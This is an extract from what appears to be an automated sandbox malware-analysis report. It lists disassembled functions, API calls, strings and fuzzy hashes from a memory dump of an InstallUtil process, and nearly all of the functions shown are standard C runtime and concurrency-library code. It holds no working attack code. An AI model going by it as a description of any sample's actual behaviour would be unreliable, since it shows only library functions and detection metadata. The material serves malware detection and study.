Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 00424622
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 0042462E

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Manager::Resource$Affinity$Apply$Restrictions$Information$Topology$CaptureProcessRestriction::Version$CleanupConcurrency::details::platform::__FindGroupInitializeLimitsLogicalProcessorRetrieveSystem
String ID:
API String ID: 4140532746-0
Opcode ID: af810daa67aa31e1e05c752d83b65eaf42782333ef89e359d098be558d58243a
Instruction ID: 2f4f0d83637d9cf5e0b0bc8534f04ae2f7eff1354ee2f3048959d22a7061c4eb
Opcode Fuzzy Hash: af810daa67aa31e1e05c752d83b65eaf42782333ef89e359d098be558d58243a
Instruction Fuzzy Hash: B381A131B041269BCF18DFA9E9805AEB7B1FB99308B94417FD541A7740E7BC6A80CB49

Function 00440EA2 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00440EE6

Part of subcall function 00440A7F: _free.LIBCMT ref: 00440A9C
Part of subcall function 00440A7F: _free.LIBCMT ref: 00440AAE
Part of subcall function 00440A7F: _free.LIBCMT ref: 00440AC0
Part of subcall function 00440A7F: _free.LIBCMT ref: 00440AD2
Part of subcall function 00440A7F: _free.LIBCMT ref: 00440AE4
Part of subcall function 00440A7F: _free.LIBCMT ref: 00440AF6
Part of subcall function 00440A7F: _free.LIBCMT ref: 00440B08
Part of subcall function 00440A7F: _free.LIBCMT ref: 00440B1A
Part of subcall function 00440A7F: _free.LIBCMT ref: 00440B2C
Part of subcall function 00440A7F: _free.LIBCMT ref: 00440B3E
Part of subcall function 00440A7F: _free.LIBCMT ref: 00440B50
Part of subcall function 00440A7F: _free.LIBCMT ref: 00440B62
Part of subcall function 00440A7F: _free.LIBCMT ref: 00440B74

_free.LIBCMT ref: 00440EDB

Part of subcall function 0043C935: HeapFree.KERNEL32(00000000,00000000,?,00440C10,?,00000000,?,?,?,00440C37,?,00000007,?,?,00441039,?), ref: 0043C94B
Part of subcall function 0043C935: GetLastError.KERNEL32(?,?,00440C10,?,00000000,?,?,?,00440C37,?,00000007,?,?,00441039,?,?), ref: 0043C95D

_free.LIBCMT ref: 00440EFD
_free.LIBCMT ref: 00440F12
_free.LIBCMT ref: 00440F1D
_free.LIBCMT ref: 00440F3F
_free.LIBCMT ref: 00440F52
_free.LIBCMT ref: 00440F60
_free.LIBCMT ref: 00440F6B
_free.LIBCMT ref: 00440FA3
_free.LIBCMT ref: 00440FAA
_free.LIBCMT ref: 00440FC7
_free.LIBCMT ref: 00440FDF

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 272877c5d3fe1446857b107641613a1d6d3fcfd48adc65a3fc488baf7afac168
Instruction ID: 436127181112e2960766901c6e1a914b122bcf3bf96d05ccfcad03070490b9f5
Opcode Fuzzy Hash: 272877c5d3fe1446857b107641613a1d6d3fcfd48adc65a3fc488baf7afac168
Instruction Fuzzy Hash: 1C319E71604201AFEB31AA39D845B5BB3E4AF45314F11542FF144E7261DBB9EC948B58

Function 00447212 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Strings

45D, xrefs: 004473A2, 0044751F, 00447485, 004473B8, 004473D2, 004473FB, 00447414, 0044743F, 00447462
45D, xrefs: 00447511, 004474EB, 00447538

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID:
String ID: 45D$45D
API String ID: 0-3879077042
Opcode ID: e4eb713faaddf69b638c9819da549441c74b28718be71406f490edf7e1b422a7
Instruction ID: 6bb4a6042d2de9f4fcf31e73c50cb622d0d5edff7d3d62e93cfe8d497ce0ea24
Opcode Fuzzy Hash: e4eb713faaddf69b638c9819da549441c74b28718be71406f490edf7e1b422a7
Instruction Fuzzy Hash: 8CC127B0E08245AFEF15DF99C880BBE7BB0BF49354F14415AE5009B392D7B89D42CB69

Function 00421621 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 60libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,00425796), ref: 0042162F
GetProcAddress.KERNEL32(00000000,SetThreadGroupAffinity), ref: 0042163D
GetProcAddress.KERNEL32(00000000,GetThreadGroupAffinity), ref: 0042164B
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumberEx), ref: 00421679
GetLastError.KERNEL32(?,?,?,00425796), ref: 00421694
GetLastError.KERNEL32(?,?,?,00425796), ref: 004216A0
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 004216B6

Strings

kernel32.dll, xrefs: 0042162A
SetThreadGroupAffinity, xrefs: 00421637
GetThreadGroupAffinity, xrefs: 00421643
GetCurrentProcessorNumberEx, xrefs: 0042166E

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorHandleModule
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 1654681794-465693683
Opcode ID: c7e216325934c215a280acb54c4d4d68e72a7eb87f6b01fe1c2f8453d9544d54
Instruction ID: 0bcc9372f7ffcc415f3ba77d9b099b777f6ba436e145f90aa920234e77fbdd13
Opcode Fuzzy Hash: c7e216325934c215a280acb54c4d4d68e72a7eb87f6b01fe1c2f8453d9544d54
Instruction Fuzzy Hash: 8101A1717043616F93006FB5BE0AA6F3AEC9A16B46754043BF905D22A3EEACD504866C

Function 00436E55 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00436F50
type_info::operator==.LIBVCRUNTIME ref: 00436F77
___TypeMatch.LIBVCRUNTIME ref: 00437083
CatchIt.LIBVCRUNTIME ref: 004370D8
IsInExceptionSpec.LIBVCRUNTIME ref: 0043715E
_UnwindNestedFrames.LIBCMT ref: 004371E5
CallUnexpected.LIBVCRUNTIME ref: 00437200

Strings

csm, xrefs: 00436EFD
csm, xrefs: 00436FAE
csm, xrefs: 00436E90

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: e40c8ec5458eead4b7b30bcf189182d405b256fecdf014238623e515cfbe12ed
Instruction ID: a5f29e25018ccac100e918d664f25698cd599bd7080ab06f0683fcfafce9a81a
Opcode Fuzzy Hash: e40c8ec5458eead4b7b30bcf189182d405b256fecdf014238623e515cfbe12ed
Instruction Fuzzy Hash: FBC189B1804219AFCF29DFA5C8819AFBBB5FF08314F01A05BE8516B342D339D951CB99

Function 004435FC Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004432B5: CreateFileW.KERNEL32(00000000,00000000,?,004436A5,?,?,00000000,?,004436A5,00000000,0000000C), ref: 004432D2

GetLastError.KERNEL32 ref: 00443710
__dosmaperr.LIBCMT ref: 00443717
GetFileType.KERNEL32(00000000), ref: 00443723
GetLastError.KERNEL32 ref: 0044372D
__dosmaperr.LIBCMT ref: 00443736
CloseHandle.KERNEL32(00000000), ref: 00443756
CloseHandle.KERNEL32(0043C7D2), ref: 004438A3
GetLastError.KERNEL32 ref: 004438D5
__dosmaperr.LIBCMT ref: 004438DC

Strings

H, xrefs: 00443861

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 6f378b11f3cf6adb7db07b42e2543237e25b49066e8a50904e1a3ea49d958eba
Instruction ID: 72324ac4cbdbca20b0e691e32cddf68299fd0c7e56886af39c9eca592a5c1cd6
Opcode Fuzzy Hash: 6f378b11f3cf6adb7db07b42e2543237e25b49066e8a50904e1a3ea49d958eba
Instruction Fuzzy Hash: F9A15572A041459FDF1DDF68CC417AE3BB0AB0A325F14025EE811AB391DB798E06CB5A

Function 0041E002 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 138threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0041E02A
GetCurrentThreadId.KERNEL32 ref: 0041E047
GetCurrentThreadId.KERNEL32 ref: 0041E05C
_xtime_get.LIBCPMT ref: 0041E0A8
GetCurrentThreadId.KERNEL32 ref: 0041E0DA
__Xtime_diff_to_millis2.LIBCPMT ref: 0041E0F2
_xtime_get.LIBCPMT ref: 0041E111
GetCurrentThreadId.KERNEL32 ref: 0041E11B
GetCurrentThreadId.KERNEL32 ref: 0041E172

Strings

y/@, xrefs: 0041E0A2, 0041E0EB, 0041E10B, 0041E0A7, 0041E0EE, 0041E110

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: CurrentThread$_xtime_get$Xtime_diff_to_millis2
String ID: y/@
API String ID: 3943753294-3231839024
Opcode ID: bc275b1594c74350a69c786731e59faecdf57ad20b3fc9656e19f4b036b74805
Instruction ID: 79a0682de0e10c3bae12cb311b5d995b05ed4c0303570fa13861db5ed02850a5
Opcode Fuzzy Hash: bc275b1594c74350a69c786731e59faecdf57ad20b3fc9656e19f4b036b74805
Instruction Fuzzy Hash: 83517B38900215DBCF24DF26CA819EA7BB1EF09311B24406BED0A9B252D778ED81CB59

Function 0043451D Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 0043452F

Part of subcall function 0043408E: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 004340B1

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00434550
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 0043455D
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 004345AB
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00434653
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00434685

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: bd461db62e3e30daa0e3ec672b166b08c4994904b9c2aa4ad064e01cb6a434e2
Instruction ID: 54d8c8952e1d826025df50a3a275f13c304c70bd42be7ac175a151cf6aa842f6
Opcode Fuzzy Hash: bd461db62e3e30daa0e3ec672b166b08c4994904b9c2aa4ad064e01cb6a434e2
Instruction Fuzzy Hash: 9371CD70900209ABDF15CF54D881AFF7BB5AF8A308F04509AED406B392C739ED16CB69

Function 004305D9 Relevance: 16.6, APIs: 11, Instructions: 148windowCOMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00430629

Part of subcall function 0042AADF: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0042AB00

Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00430642
Concurrency::location::_Assign.LIBCMT ref: 00430658
Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 004306C5
Concurrency::details::SchedulerBase::ClearQuickCacheSlot.LIBCMT ref: 004306CD
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 004306F4
Concurrency::details::VirtualProcessor::EnsureAllTasksVisible.LIBCONCRT ref: 00430700
Concurrency::details::SchedulerBase::VirtualProcessorIdle.LIBCONCRT ref: 00430738
Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00430757
Concurrency::details::SchedulerBase::VirtualProcessorIdle.LIBCONCRT ref: 00430765
Concurrency::details::ReferenceCountedQuickBitSet::InterlockedClear.LIBCONCRT ref: 0043078C

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$ContextVirtual$Processor::QuickScheduler$ClearCountedEventIdleInterlockedProcessorReferenceSet::$AssignAvailableBlockedCacheConcurrency::location::_DeactivateEnsureInternalMakeSlotSpinTasksThrowTraceUntilVisible
String ID:
API String ID: 3608406545-0
Opcode ID: 0c1e2cd283488721140bf08b0fc01b3e94228391aaaaf36b8ea6a69598c4dee9
Instruction ID: 93a233cf07fad6d72f607689bb1ac1e3c826497552ed797e6a5f1c01f73540f1
Opcode Fuzzy Hash: 0c1e2cd283488721140bf08b0fc01b3e94228391aaaaf36b8ea6a69598c4dee9
Instruction Fuzzy Hash: 2B51C2347002149FDB04EF65C595BAD77A5EF89314F5801AEED069B387CB78AC018BAA

Function 0042858A Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 004285CF
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00428601
List.LIBCONCRT ref: 0042863C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 0042864D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00428669
List.LIBCONCRT ref: 004286A4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 004286B5
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 004286D0
List.LIBCONCRT ref: 0042870B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00428718

Part of subcall function 00427A8F: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00427AA7
Part of subcall function 00427A8F: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00427AB9

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 2f7af67c50368df58dbc42c7a39e667be4f9f9c44dd16b3d404a49fb0bf2eeba
Instruction ID: aadcfb68ec8aab6692a252bf8f8dbd002a2794234d765a812c982ce8d6335d33
Opcode Fuzzy Hash: 2f7af67c50368df58dbc42c7a39e667be4f9f9c44dd16b3d404a49fb0bf2eeba
Instruction Fuzzy Hash: 87516370B01229AFDF04DF55D495BEE73A8BF08344F9540AEE905A7341DB38AE44CB94

Function 0043C099 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0043C0AF

Part of subcall function 0043C935: HeapFree.KERNEL32(00000000,00000000,?,00440C10,?,00000000,?,?,?,00440C37,?,00000007,?,?,00441039,?), ref: 0043C94B
Part of subcall function 0043C935: GetLastError.KERNEL32(?,?,00440C10,?,00000000,?,?,?,00440C37,?,00000007,?,?,00441039,?,?), ref: 0043C95D

_free.LIBCMT ref: 0043C0BB
_free.LIBCMT ref: 0043C0C6
_free.LIBCMT ref: 0043C0D1
_free.LIBCMT ref: 0043C0DC
_free.LIBCMT ref: 0043C0E7
_free.LIBCMT ref: 0043C0F2
_free.LIBCMT ref: 0043C0FD
_free.LIBCMT ref: 0043C108
_free.LIBCMT ref: 0043C116

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 83d6ff8272792a546f0ae2906ff1ed365d34b87d3b9d8b427a2d2b7e2c77fb65
Instruction ID: bbf1f9c24db0539a950a369bf2d99cc88cabbe6faef6657980ff205d682843e3
Opcode Fuzzy Hash: 83d6ff8272792a546f0ae2906ff1ed365d34b87d3b9d8b427a2d2b7e2c77fb65
Instruction Fuzzy Hash: 75219AB6900108AFCB42EF96C881EDE7BB9FF0C344F41516AF655AB121DB35DA45CB84

Function 004475C2 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0044974F), ref: 004475DB

Strings

pow, xrefs: 00447679, 00447723, 00447770
asin, xrefs: 00447708
acos, xrefs: 00447711
sqrt, xrefs: 0044771A
exp, xrefs: 0044765A, 004476BF
log, xrefs: 00447638, 00447647
log10, xrefs: 0044761D, 0044762C

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: dc9492b420802bfa47d4bbb1c75c3c7a867f2a1ebc803df85cf6802f1d120858
Instruction ID: d2ca3496068c0aa7254cd6498d088b40aa60fe626896f6677939706efbf32955
Opcode Fuzzy Hash: dc9492b420802bfa47d4bbb1c75c3c7a867f2a1ebc803df85cf6802f1d120858
Instruction Fuzzy Hash: 3D519F7480860ADBEF148F68E94C1AEBBB0FB05314F924587E880A6355C77C991BCF5E

Function 00428F14 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 80threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00428F60
SwitchToThread.KERNEL32(?), ref: 00428F83
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00428FA2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00428FBE
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00428FC9
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00428FF0

Strings

ppVirtualProcessorRoots, xrefs: 00428FE8
count, xrefs: 00428F2E

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementSwitchThreadstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3791123369-3650809737
Opcode ID: e0e766e7462ec4885882f96d5c92953b2e7f74ec0bb5c9eb98406700875c8ebe
Instruction ID: a2f8efbbb3a8cfbf6e8983383ea6e808fd857e68137b8d21a10d2512d1f22195
Opcode Fuzzy Hash: e0e766e7462ec4885882f96d5c92953b2e7f74ec0bb5c9eb98406700875c8ebe
Instruction Fuzzy Hash: A4217334B00228AFCF04EF66D685AAE77B5BF49354F91406EE901A7351DB38AE05CF58

Function 004289CC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 004289E6
GetCurrentProcess.KERNEL32 ref: 004289EE
DuplicateHandle.KERNEL32(00000000,000000FF,00000000,00000000,00000000,00000000,00000002), ref: 00428A03
SafeRWList.LIBCONCRT ref: 00428A23

Part of subcall function 00426A1E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00426A2F
Part of subcall function 00426A1E: List.LIBCMT ref: 00426A39

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00428A35
GetLastError.KERNEL32 ref: 00428A44
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00428A5A

Strings

eventObject, xrefs: 00428A2D

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: CurrentListProcess$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateErrorHandleLastLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 165577817-1680012138
Opcode ID: 2a7712142f6f5ca01ffda151693cde0043a8cb9dc9befd8656a0eeac7a1e25ae
Instruction ID: c8393794f43354de7a7498e08dd599cb7bff130d7c670bc0ce2107b9d1615849
Opcode Fuzzy Hash: 2a7712142f6f5ca01ffda151693cde0043a8cb9dc9befd8656a0eeac7a1e25ae
Instruction Fuzzy Hash: 9A11E371601314EBDB14EBA4ED4AFEF37686B04705FA0406BB509A60D2EF789A44C66D

Function 00429491 Relevance: 13.6, APIs: 9, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 004294B3

Part of subcall function 00427868: __EH_prolog3_catch.LIBCMT ref: 0042786F
Part of subcall function 00427868: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 004278A8

Concurrency::details::SchedulerBase::NotifyThrottledContext.LIBCONCRT ref: 004294C1

Part of subcall function 004284CD: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 004284F2
Part of subcall function 004284CD: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00428515

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 004294DA
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 004294E6

Part of subcall function 00427868: InterlockedPopEntrySList.KERNEL32(?), ref: 004278F1
Part of subcall function 00427868: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00427920
Part of subcall function 00427868: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 0042792E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00429532
Concurrency::location::_Assign.LIBCMT ref: 00429553
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 0042955B
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0042956D
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 0042959D

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$Context$Throttling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_EntryExerciseFoundH_prolog3_catchInterlockedListNextNotifyProcessor::RingSchedulingSpinStartupThrottledTicket::TimerUntilWith
String ID:
API String ID: 2678502038-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: cf6d9dfbac84d2f253c81b6b896ae1581efefae115c93d028a070acf9c182c7d
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 73314431B042327BDF16AA7868927FEB7A99F41304F4404ABD846D7342DB2D4C86C399

Function 00432535 Relevance: 13.6, APIs: 9, Instructions: 69threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0043254B
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,0042785E,?), ref: 0043255D
GetCurrentThread.KERNEL32 ref: 00432565
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,0042785E,?), ref: 0043256D
DuplicateHandle.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000002,?,?,?,?,?,?,0042785E,?), ref: 00432586
Concurrency::details::RegisterAsyncWaitAndLoadLibrary.LIBCONCRT ref: 004325A7

Part of subcall function 00421DC1: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 00421DDB

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,0042785E,?), ref: 004325B9
GetLastError.KERNEL32(?,?,?,?,?,0042785E,?), ref: 004325E4
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 004325FA

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Current$Concurrency::details::ErrorLastLibraryLoadProcessThread$AsyncConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateHandleReferenceRegisterWait
String ID:
API String ID: 1293880212-0
Opcode ID: a8652fccbf3b4115ec068bda941b40f8b87bb2f0940c46b3993d897568bdffa3
Instruction ID: d17666d66fca009680e6d8042b6c44d776be3f9539691921d66dee2d54a9d9a5
Opcode Fuzzy Hash: a8652fccbf3b4115ec068bda941b40f8b87bb2f0940c46b3993d897568bdffa3
Instruction Fuzzy Hash: 2A11EB71600310BBC710AF759F5AB9B37A86F19701F540077FA45E6253EAF8DA008779

Function 004405D1 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004405FB
_free.LIBCMT ref: 004406D4
_free.LIBCMT ref: 00440701

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 198f582a6b93761f431de03cdccae4c5299466d0c7af6c3cff12105cb9af695f
Instruction ID: 60b3bd54ba43e37bfd15be54587165efa12869d9b072f389093a5f899c0ab776
Opcode Fuzzy Hash: 198f582a6b93761f431de03cdccae4c5299466d0c7af6c3cff12105cb9af695f
Instruction Fuzzy Hash: BA51F6B1904301AEFB10BF75C881A6E7BB4EF05318F15416FE61097282EA7D9961CF9E

Function 0040F1D0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 185COMMON

Download Yara Rule

Strings

list too long, xrefs: 0040F68D

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID:
String ID: list too long
API String ID: 0-1124181908
Opcode ID: 5abc7c6606734027b68b1563ffdf7ee4d7c84e1a21294b7cc16d843a624b5e32
Instruction ID: 1543a82023da781dabfa2fd4a1b759c2827ac24103ee4b722ba72628ef78243d
Opcode Fuzzy Hash: 5abc7c6606734027b68b1563ffdf7ee4d7c84e1a21294b7cc16d843a624b5e32
Instruction Fuzzy Hash: E661D5B0D04714ABDB20DF65CC45B9AB7B4EF04304F0041BAE80DA7291E779A995CF5A

Function 004363F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00436427
___except_validate_context_record.LIBVCRUNTIME ref: 0043642F
